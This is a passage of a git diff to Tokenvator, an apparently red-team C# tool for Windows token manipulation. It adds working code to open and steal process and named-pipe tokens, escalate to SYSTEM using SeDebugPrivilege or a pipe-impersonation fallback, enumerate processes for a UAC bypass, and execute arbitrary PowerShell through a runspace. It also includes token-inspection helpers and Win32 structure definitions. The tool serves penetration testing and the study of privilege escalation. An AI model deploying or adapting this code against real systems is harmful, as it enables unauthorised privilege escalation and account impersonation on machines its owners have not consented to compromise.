Console.WriteLine(error.ToString()); + Tokens.GetWin32Error("MainLoop"); } finally { @@ -227,6 +283,31 @@ internal void Run() } } + //////////////////////////////////////////////////////////////////////////////// + // Open Process and a process token + //////////////////////////////////////////////////////////////////////////////// + private static Boolean OpenToken(Int32 processID, ref IntPtr hToken) + { + IntPtr hProcess = kernel32.OpenProcess(Constants.PROCESS_QUERY_INFORMATION, false, (UInt32)processID); + if (IntPtr.Zero == hProcess) + { + Tokens.GetWin32Error("OpenProcess"); + return false; + } + Console.WriteLine("[*] Recieved Process Handle 0x{0}", hProcess.ToString("X4")); + if (!kernel32.OpenProcessToken(hProcess, Constants.TOKEN_ALL_ACCESS, out hToken)) + { + if (!kernel32.OpenProcessToken(hProcess, (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) + { + Tokens.GetWin32Error("OpenProcessToken"); + return false; + } + } + Console.WriteLine("[*] Recieved Token Handle 0x{0}", hToken.ToString("X4")); + kernel32.CloseHandle(hProcess); + return true; + } + //////////////////////////////////////////////////////////////////////////////// // Identifies a process to access //////////////////////////////////////////////////////////////////////////////// @@ -254,7 +335,32 @@ private static Boolean GetProcessID(String input, out Int32 processID, out Strin } return false; } - + + //////////////////////////////////////////////////////////////////////////////// + // Identifies a process to access + //////////////////////////////////////////////////////////////////////////////// + public static Boolean GetPipeName(String input, out String pipeName, out String command) + { + String name = NextItem(ref input); + command = String.Empty; + + if (name != input) + { + command = input; + } + + if (name.Contains(@"\\.\pipe")) + { + pipeName = name; + return true; + } + else + { + pipeName = String.Empty; + return false; + } + } + //////////////////////////////////////////////////////////////////////////////// // Pops an item from the input and returns the item - only used in inital menu // Taken from FowlPlay @@ -278,20 +384,36 @@ public static String NextItem(ref String input) //////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// - public static void GetSystem(String input) + public static void GetSystem(String input, IntPtr hToken) { - if ("getsystem" == NextItem(ref input)) + CheckPrivileges.CheckTokenPrivilege(hToken, "SeDebugPrivilege", out Boolean exists, out Boolean enabled); + if (exists) { - using (Tokens t = new Tokens()) + if ("getsystem" == NextItem(ref input)) + { + + using (Tokens t = new Tokens()) + { + t.GetSystem(); + } + } + else { - t.GetSystem(); + using (Tokens t = new Tokens()) + { + t.GetSystem(input); + } } } else { - using (Tokens t = new Tokens()) + if ("getsystem" == NextItem(ref input)) { - t.GetSystem(input); + NamedPipes.GetSystem(); + } + else + { + NamedPipes.GetSystem(input, NextItem(ref input)); } } } @@ -334,7 +456,7 @@ public static void BypassUAC(String input) } else { - String name = System.Security.Principal.WindowsIdentity.GetCurrent().Name; + String name = "";//System.Security.Principal.WindowsIdentity.GetCurrent().Name; Dictionary uacUsers = Enumeration.EnumerateUserProcesses(true, name); foreach (UInt32 pid in uacUsers.Keys) { @@ -379,24 +501,64 @@ public static void StealToken(String input) //////////////////////////////////////////////////////////////////////////////// public static void StealPipeToken(String input) { - if (input.Contains(@"\\.\pipe\")) + String pipeName; + String command; + if (GetPipeName(input, out pipeName, out command)) { - NamedPipes.GetPipeToken(input); + if (String.IsNullOrEmpty(command)) + { + NamedPipes.GetPipeToken(pipeName); + } + else + { + Console.WriteLine("[*] Running {0}", command); + NamedPipes.GetPipeToken(pipeName, command); + } } - else if (input.Contains("SYSTEM")) + else if ("getsystem" == NextItem(ref input)) { NamedPipes.GetSystem(); } } + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal static void RunPowerShell(string command) + { + Runspace runspace = RunspaceFactory.CreateRunspace(); + runspace.Open(); + RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); + Pipeline pipeline = runspace.CreatePipeline(); + pipeline.Commands.AddScript(command); + pipeline.Commands.Add("Out-String"); + Collection results = pipeline.Invoke(); + runspace.Close(); + + foreach (PSObject obj in results) + { + Console.WriteLine(obj.ToString()); + } + } + //////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// public static void Run(String input) { + String command = NextItem(ref input); Process process = new Process(); - process.StartInfo.FileName = NextItem(ref input); - process.StartInfo.Arguments = input; + process.StartInfo.FileName = command; + String args = NextItem(ref input); + if (args == command) + { + args = String.Empty; + } + else + { + args += " " + input; + } + process.StartInfo.Arguments = args; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardError = true; process.StartInfo.RedirectStandardOutput = true; diff --git a/Tokenvator/Resources/CheckPrivileges.cs b/Tokenvator/Resources/CheckPrivileges.cs index f749c36..bbeeac1 100644 --- a/Tokenvator/Resources/CheckPrivileges.cs +++ b/Tokenvator/Resources/CheckPrivileges.cs @@ -53,38 +53,35 @@ public Boolean GetSystem() //////////////////////////////////////////////////////////////////////////////// public static Boolean PrintElevation(IntPtr hToken) { - UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32)); - IntPtr tokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32))); - UInt32 returnLength; - Boolean result = advapi32.GetTokenInformation( - hToken, - Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, - tokenInformation, - tokenInformationLength, - out returnLength - ); + Int32 output = -1; + if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, ref output)) + { + Tokens.GetWin32Error("TokenElevationType"); + return false; + } - switch ((Winnt.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation)) + switch ((Winnt.TOKEN_ELEVATION_TYPE)output) { case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault: - Console.WriteLine("TokenElevationTypeDefault"); - Console.WriteLine("Token: Not Split"); - Console.WriteLine("ProcessIntegrity: Medium/Low"); + Console.WriteLine("[+] TokenElevationTypeDefault"); + Console.WriteLine("[*] Token: Not Split"); + //Console.WriteLine("ProcessIntegrity: Medium/Low"); return false; case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: - Console.WriteLine("TokenElevationTypeFull"); - Console.WriteLine("Token: Split"); - Console.WriteLine("ProcessIntegrity: High"); + Console.WriteLine("[+] TokenElevationTypeFull"); + Console.WriteLine("[*] Token: Split"); + Console.WriteLine("[+] ProcessIntegrity: High"); return true; case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: - Console.WriteLine("TokenElevationTypeLimited"); - Console.WriteLine("Token: Split - ProcessIntegrity: Medium/Low"); - Console.WriteLine("Hint: Try to Bypass UAC"); + Console.WriteLine("[-] TokenElevationTypeLimited"); + Console.WriteLine("[*] Token: Split"); + Console.WriteLine("[-] ProcessIntegrity: Medium/Low"); + Console.WriteLine("[!] Hint: Try to Bypass UAC"); return false; default: - Console.WriteLine("Unknown integrity"); - Console.WriteLine("Trying anyway"); + Console.WriteLine("[-] Unknown integrity {0}", output); + Console.WriteLine("[!] Trying anyway"); return true; } } @@ -94,19 +91,14 @@ out returnLength //////////////////////////////////////////////////////////////////////////////// public static Boolean CheckElevation(IntPtr hToken) { - UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32)); - IntPtr tokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32))); - UInt32 returnLength; - - Boolean result = advapi32.GetTokenInformation( - hToken, - Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, - tokenInformation, - tokenInformationLength, - out returnLength - ); + Int32 output = -1; + if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, ref output)) + { + Tokens.GetWin32Error("TokenElevationType"); + return false; + } - switch ((Winnt.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation)) + switch ((Winnt.TOKEN_ELEVATION_TYPE)output) { case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:; return false; @@ -118,5 +110,310 @@ out returnLength return true; } } + + //////////////////////////////////////////////////////////////////////////////// + //https://blogs.msdn.microsoft.com/cjacks/2006/10/08/how-to-determine-if-a-user-is-a-member-of-the-administrators-group-with-uac-enabled-on-windows-vista/ + //////////////////////////////////////////////////////////////////////////////// + public static Boolean GetElevationType(IntPtr hToken, out Winnt._TOKEN_TYPE tokenType) + { + Int32 output = -1; + if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenType, ref output)) + { + Tokens.GetWin32Error("TokenType"); + tokenType = 0; + return false; + } + + switch ((Winnt._TOKEN_TYPE)output) + { + case Winnt._TOKEN_TYPE.TokenPrimary: + Console.WriteLine("[+] Primary Token"); + tokenType = Winnt._TOKEN_TYPE.TokenPrimary; + return true; + case Winnt._TOKEN_TYPE.TokenImpersonation: + tokenType = Winnt._TOKEN_TYPE.TokenImpersonation; + if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, ref output)) + { + return false; + } + switch ((Winnt._SECURITY_IMPERSONATION_LEVEL)output) + { + case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous: + Console.WriteLine("[+] Anonymous Token"); + return true; + case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityIdentification: + Console.WriteLine("[+] Identification Token"); + return true; + case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation: + Console.WriteLine("[+] Impersonation Token"); + return true; + case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityDelegation: + Console.WriteLine("[+] Delegation Token"); + return true; + default: + Console.WriteLine("[-] Unknown Impersionation Type"); + return false; + } + default: + Console.WriteLine("[-] Unknown Type {0}", output); + tokenType = 0; + return false; + } + } + + //////////////////////////////////////////////////////////////////////////////// + // Displays the users associated with a token + //////////////////////////////////////////////////////////////////////////////// + public static void GetTokenOwner(IntPtr hToken) + { + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenOwner, IntPtr.Zero, 0, out UInt32 returnLength); + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)returnLength); + Ntifs._TOKEN_OWNER tokenOwner; + try + { + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenOwner, lpTokenInformation, returnLength, out returnLength)) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + return; + } + tokenOwner = (Ntifs._TOKEN_OWNER)Marshal.PtrToStructure(lpTokenInformation, typeof(Ntifs._TOKEN_OWNER)); + if (IntPtr.Zero == tokenOwner.Owner) + { + Tokens.GetWin32Error("PtrToStructure"); + } + } + catch (Exception ex) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + Console.WriteLine(ex.Message); + return; + } + finally + { + Marshal.FreeHGlobal(lpTokenInformation); + } + + Console.WriteLine("[+] Owner: "); + _ReadSidAndName(tokenOwner.Owner, out String sid, out String account); + Console.WriteLine("{0,-50} {1}", sid, account); + return; + } + + //////////////////////////////////////////////////////////////////////////////// + // Displays the users associated with a token + //////////////////////////////////////////////////////////////////////////////// + public static void GetTokenUser(IntPtr hToken) + { + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, 0, out UInt32 returnLength); + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)returnLength); + Ntifs._TOKEN_USER tokenUser; + try + { + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenUser, lpTokenInformation, returnLength, out returnLength)) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + return; + } + tokenUser = (Ntifs._TOKEN_USER)Marshal.PtrToStructure(lpTokenInformation, typeof(Ntifs._TOKEN_USER)); + if (IntPtr.Zero == tokenUser.User[0].Sid) + { + Tokens.GetWin32Error("PtrToStructure"); + } + } + catch (Exception ex) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + Console.WriteLine(ex.Message); + return; + } + finally + { + Marshal.FreeHGlobal(lpTokenInformation); + } + + Console.WriteLine("[+] User: "); + _ReadSidAndName(tokenUser.User[0].Sid, out String sid, out String account); + Console.WriteLine("{0,-50} {1}", sid, account); + return; + } + + //////////////////////////////////////////////////////////////////////////////// + // Lists the groups associated with a token + //////////////////////////////////////////////////////////////////////////////// + public static Boolean GetTokenGroups(IntPtr hToken) + { + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenGroups, IntPtr.Zero, 0, out UInt32 returnLength); + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)returnLength); + Ntifs._TOKEN_GROUPS tokenGroups; + try + { + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenGroups, lpTokenInformation, returnLength, out returnLength)) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + return false; + } + tokenGroups = (Ntifs._TOKEN_GROUPS)Marshal.PtrToStructure(lpTokenInformation, typeof(Ntifs._TOKEN_GROUPS)); + } + catch (Exception ex) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + Console.WriteLine(ex.Message); + return false; + } + finally + { + Marshal.FreeHGlobal(lpTokenInformation); + } + + Console.WriteLine("[+] Enumerated {0} Groups: ", tokenGroups.GroupCount); + for (Int32 i = 0; i < tokenGroups.GroupCount; i++) + { + _ReadSidAndName(tokenGroups.Groups[i].Sid, out String sid, out String account); + Console.WriteLine("{0,-50} {1}", sid, account); + } + return true; + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + private static void _ReadSidAndName(IntPtr pointer, out String sid, out String account) + { + sid = String.Empty; + account = String.Empty; + IntPtr lpSid = IntPtr.Zero; + try + { + advapi32.ConvertSidToStringSid(pointer, ref lpSid); + if (IntPtr.Zero == lpSid) + { + return; + } + sid = Marshal.PtrToStringAuto(lpSid); + + if (!Enumeration.ConvertSidToName(pointer, out account)) + { + return; + } + } + catch (Exception ex) + { + Console.WriteLine(ex.Message); + } + finally + { + kernel32.LocalFree(lpSid); + } + } + + //////////////////////////////////////////////////////////////////////////////// + // Checks if a Privilege Exists and is Enabled + //////////////////////////////////////////////////////////////////////////////// + public static Boolean CheckTokenPrivilege(IntPtr hToken, String privilegeName, out Boolean exists, out Boolean enabled) + { + exists = false; + enabled = false; + //////////////////////////////////////////////////////////////////////////////// + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, 0, out UInt32 TokenInfLength); + if (TokenInfLength <= 0 || TokenInfLength > Int32.MaxValue) + { + Tokens.GetWin32Error("GetTokenInformation - 1 " + TokenInfLength); + return false; + } + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)TokenInfLength); + + //////////////////////////////////////////////////////////////////////////////// + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, lpTokenInformation, TokenInfLength, out TokenInfLength)) + { + Tokens.GetWin32Error("GetTokenInformation - 2 " + TokenInfLength); + return false; + } + Winnt._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Winnt._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Winnt._TOKEN_PRIVILEGES_ARRAY)); + Marshal.FreeHGlobal(lpTokenInformation); + + //////////////////////////////////////////////////////////////////////////////// + for (Int32 i = 0; i < tokenPrivileges.PrivilegeCount; i++) + { + System.Text.StringBuilder lpName = new System.Text.StringBuilder(); + Int32 cchName = 0; + IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(tokenPrivileges.Privileges[i])); + Marshal.StructureToPtr(tokenPrivileges.Privileges[i].Luid, lpLuid, true); + try + { + advapi32.LookupPrivilegeName(null, lpLuid, null, ref cchName); + if (cchName <= 0 || cchName > Int32.MaxValue) + { + Tokens.GetWin32Error("LookupPrivilegeName Pass 1"); + continue; + } + + lpName.EnsureCapacity(cchName + 1); + if (!advapi32.LookupPrivilegeName(null, lpLuid, lpName, ref cchName)) + { + Tokens.GetWin32Error("LookupPrivilegeName Pass 2"); + continue; + } + + if (lpName.ToString() != privilegeName) + { + continue; + } + exists = true; + + Winnt._PRIVILEGE_SET privilegeSet = new Winnt._PRIVILEGE_SET + { + PrivilegeCount = 1, + Control = Winnt.PRIVILEGE_SET_ALL_NECESSARY, + Privilege = new Winnt._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] } + }; + if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out IntPtr pfResult)) + { + Tokens.GetWin32Error("PrivilegeCheck"); + continue; + } + enabled = Convert.ToBoolean(pfResult.ToInt32()); + } + catch (Exception ex) + { + Console.WriteLine(ex.Message); + return false; + } + finally + { + Marshal.FreeHGlobal(lpLuid); + } + } + Console.WriteLine(); + return false; + } + + //////////////////////////////////////////////////////////////////////////////// + // Private function to query a token with an enumeration result + //////////////////////////////////////////////////////////////////////////////// + private static Boolean _QueryTokenInformation(IntPtr hToken, Winnt._TOKEN_INFORMATION_CLASS informationClass, ref Int32 dwTokenInformation) + { + UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32)); + IntPtr lpTokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32))); + try + { + if (!advapi32.GetTokenInformation(hToken, informationClass, lpTokenInformation, tokenInformationLength, out UInt32 returnLength)) + { + Tokens.GetWin32Error("GetTokenInformation"); + return false; + } + dwTokenInformation = Marshal.ReadInt32(lpTokenInformation); + } + catch(Exception ex) + { + Tokens.GetWin32Error("GetTokenInformation"); + Console.WriteLine("[-] {0}", ex.Message); + return false; + } + finally + { + Marshal.FreeHGlobal(lpTokenInformation); + } + return true; + } } } \ No newline at end of file diff --git a/Tokenvator/Resources/Constants.cs b/Tokenvator/Resources/Constants.cs index 0c23771..b07c0f2 100644 --- a/Tokenvator/Resources/Constants.cs +++ b/Tokenvator/Resources/Constants.cs @@ -5,6 +5,12 @@ namespace Tokenvator class Constants { //Process Security and Access Rights + //https://docs.microsoft.com/en-us/windows/desktop/procthread/process-security-and-access-rights + internal const UInt32 DELETE = 0x00010000; + internal const UInt32 READ_CONTROL = 0x00020000; + internal const UInt32 SYNCHRONIZE = 0x00100000; + internal const UInt32 WRITE_DAC = 0x00040000; + internal const UInt32 WRITE_OWNER = 0x00080000; //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 internal const UInt32 PROCESS_ALL_ACCESS = 0; internal const UInt32 PROCESS_CREATE_PROCESS = 0x0080; @@ -19,12 +25,17 @@ class Constants internal const UInt32 PROCESS_VM_OPERATION = 0x0008; internal const UInt32 PROCESS_VM_READ = 0x0010; internal const UInt32 PROCESS_VM_WRITE = 0x0020; - internal const UInt32 SYNCHRONIZE = 0x00100000; //Token + + //https://docs.microsoft.com/en-us/windows/desktop/secauthz/standard-access-rights + internal const UInt32 STANDARD_RIGHTS_ALL = (DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER | SYNCHRONIZE); + internal const UInt32 STANDARD_RIGHTS_EXECUTE = READ_CONTROL; + internal const UInt32 STANDARD_RIGHTS_READ = READ_CONTROL; + internal const UInt32 STANDARD_RIGHTS_REQUIRED = (DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER);//0x000F0000; + internal const UInt32 STANDARD_RIGHTS_WRITE = READ_CONTROL; + //http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken - internal const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; - internal const UInt32 STANDARD_RIGHTS_READ = 0x00020000; internal const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; internal const UInt32 TOKEN_DUPLICATE = 0x0002; internal const UInt32 TOKEN_IMPERSONATE = 0x0004; @@ -34,23 +45,17 @@ class Constants internal const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; internal const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; internal const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; - internal const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); - internal const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | - TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | - TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | - TOKEN_ADJUST_SESSIONID); - internal const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); - - //TOKEN_PRIVILEGES - //https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx - internal const UInt32 SE_PRIVILEGE_ENABLED = 0x2; - internal const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1; - internal const UInt32 SE_PRIVILEGE_REMOVED = 0x4; - internal const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3; + internal const UInt32 TOKEN_EXECUTE = (STANDARD_RIGHTS_EXECUTE | TOKEN_IMPERSONATE); + internal const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + internal const UInt32 TOKEN_WRITE = (STANDARD_RIGHTS_READ | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT); + internal const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); + internal const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); + internal const UInt32 TOKEN_ALT2 = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); internal const Int32 ANYSIZE_ARRAY = 1; //https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx + //https://docs.microsoft.com/en-us/windows/desktop/secauthz/privilege-constants internal const String SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"; internal const String SE_BACKUP_NAME = "SeBackupPrivilege"; internal const String SE_DEBUG_NAME = "SeDebugPrivilege"; diff --git a/Tokenvator/Resources/PSExec.cs b/Tokenvator/Resources/PSExec.cs index ebde27e..cfb09cf 100644 --- a/Tokenvator/Resources/PSExec.cs +++ b/Tokenvator/Resources/PSExec.cs @@ -142,7 +142,7 @@ internal Boolean Start() return false; } } - Console.WriteLine("[+] Service Started"); + Console.WriteLine("[+] Started Service"); return true; } @@ -164,7 +164,7 @@ internal Boolean Stop() return false; } } - Console.WriteLine("[+] Service Stopped"); + Console.WriteLine("[+] Stopped Service"); return true; } diff --git a/Tokenvator/Resources/Unmanaged/Headers/Ntifs.cs b/Tokenvator/Resources/Unmanaged/Headers/Ntifs.cs new file mode 100644 index 0000000..edb7b25 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Ntifs.cs @@ -0,0 +1,52 @@ +using System.Runtime.InteropServices; + +using PSID = System.IntPtr; + +using UCHAR = System.Byte; +using ULONG = System.Int32; + +//https://blogs.technet.microsoft.com/fabricem_blogs/2009/07/21/active-directory-maximum-limits-scalability/ + +namespace Unmanaged.Headers +{ + class Ntifs + { + [StructLayout(LayoutKind.Sequential)] + public struct _SID + { + public UCHAR Revision; + public UCHAR SubAuthorityCount; + public Winnt._SID_IDENTIFIER_AUTHORITY IdentifierAuthority; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public ULONG[] SubAuthority; + } + //SID, *PISID + + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_GROUPS + { + public ULONG GroupCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 230)] + public Winnt._SID_AND_ATTRIBUTES[] Groups; + } + //TOKEN_GROUPS, *PTOKEN_GROUPS + + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_OWNER + { + public PSID Owner; + } + //TOKEN_OWNER, *PTOKEN_OWNER + + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_USER + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] + public Winnt._SID_AND_ATTRIBUTES[] User; + } + //TOKEN_USER, *PTOKEN_USER + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/winbase.cs b/Tokenvator/Resources/Unmanaged/Headers/winbase.cs index ec09607..fd7db74 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/winbase.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/winbase.cs @@ -66,6 +66,13 @@ public enum PIPE_MODE : uint PIPE_REJECT_REMOTE_CLIENTS = 0x00000008 } + [Flags] + public enum LOGON_FLAGS + { + LOGON_WITH_PROFILE = 0x00000001, + LOGON_NETCREDENTIALS_ONLY = 0x00000002 + } + //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx [StructLayout(LayoutKind.Sequential)] public struct _PROCESS_INFORMATION diff --git a/Tokenvator/Resources/Unmanaged/Headers/winnt.cs b/Tokenvator/Resources/Unmanaged/Headers/winnt.cs index fa80ee2..b478dc7 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/winnt.cs +++ b/Tokenvator/Resources/Unmanaged/Headers/winnt.cs @@ -8,6 +8,8 @@ using ULONGLONG = System.UInt64; using LARGE_INTEGER = System.UInt64; +using PSID = System.IntPtr; + using PVOID = System.IntPtr; using LPVOID = System.IntPtr; using DWORD_PTR = System.IntPtr; @@ -17,8 +19,12 @@ namespace Unmanaged.Headers { sealed class Winnt { + private const DWORD ANYSIZE_ARRAY = 1; + private const DWORD EXCEPTION_MAXIMUM_PARAMETERS = 15; + public const DWORD PRIVILEGE_SET_ALL_NECESSARY = 1; + [Flags] // https://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx public enum MEMORY_PROTECTION_CONSTANTS : uint @@ -38,6 +44,17 @@ public enum MEMORY_PROTECTION_CONSTANTS : uint PAGE_TARGETS_NO_UPDATE = 0x40000000 } + [Flags] + //https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx + public enum TokenPrivileges : uint + { + SE_PRIVILEGE_NONE = 0x0, + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1, + SE_PRIVILEGE_ENABLED = 0x2, + SE_PRIVILEGE_REMOVED = 0x4, + SE_PRIVILEGE_USED_FOR_ACCESS = 0x3 + } + [Flags] public enum ACCESS_MASK : uint { @@ -554,25 +571,35 @@ internal struct _IMAGE_IMPORT_DESCRIPTOR public DWORD FirstThunk; } - public const Int32 PRIVILEGE_SET_ALL_NECESSARY = 1; - - private const Int32 ANYSIZE_ARRAY = 1; + [StructLayout(LayoutKind.Sequential)] public struct _PRIVILEGE_SET { - public UInt32 PrivilegeCount; - public UInt32 Control; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = ANYSIZE_ARRAY)] + public DWORD PrivilegeCount; + public DWORD Control; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = (Int32)ANYSIZE_ARRAY)] public _LUID_AND_ATTRIBUTES[] Privilege; } + //PRIVILEGE_SET, * PPRIVILEGE_SET [StructLayout(LayoutKind.Sequential)] public struct _SID_AND_ATTRIBUTES { - public IntPtr Sid; - public UInt32 Attributes; + public PSID Sid; + public DWORD Attributes; } + //SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES + + + [StructLayout(LayoutKind.Sequential)] + public struct _SID_AND_ATTRIBUTES_MIDL + { + public Ntifs._SID Sid; + public DWORD Attributes; + } + //SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES + [Flags] public enum _SECURITY_IMPERSONATION_LEVEL : int @@ -587,7 +614,7 @@ public enum _SECURITY_IMPERSONATION_LEVEL : int public struct _SID_IDENTIFIER_AUTHORITY { [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] - public byte[] Value; + public Byte[] Value; } [Flags] @@ -686,7 +713,7 @@ internal struct _TOKEN_STATISTICS public Winnt._LUID TokenId; public Winnt._LUID AuthenticationId; public LARGE_INTEGER ExpirationTime; - public TOKEN_TYPE TokenType; + public _TOKEN_TYPE TokenType; public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; public DWORD DynamicCharged; public DWORD DynamicAvailable; @@ -696,7 +723,7 @@ internal struct _TOKEN_STATISTICS } [Flags] - public enum TOKEN_TYPE + public enum _TOKEN_TYPE { TokenPrimary = 1, TokenImpersonation diff --git a/Tokenvator/Resources/Unmanaged/Headers/wudfwdm.cs b/Tokenvator/Resources/Unmanaged/Headers/wudfwdm.cs new file mode 100644 index 0000000..b693f8c --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/wudfwdm.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +using USHORT = System.UInt16; + +using ULONG = System.UInt32; + +using HANDLE = System.IntPtr; +using PVOID = System.IntPtr; + +namespace Unmanaged.Headers +{ + class wudfwdm + { + public struct _UNICODE_STRING + { + public USHORT Length; + public USHORT MaximumLength; + public Char[] Buffer; + } + + public struct _OBJECT_ATTRIBUTES + { + public ULONG Length; + public HANDLE RootDirectory; + public IntPtr ObjectName; + public ULONG Attributes; + public PVOID SecurityDescriptor; + public PVOID SecurityQualityOfService; + } + } +} diff --git a/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs 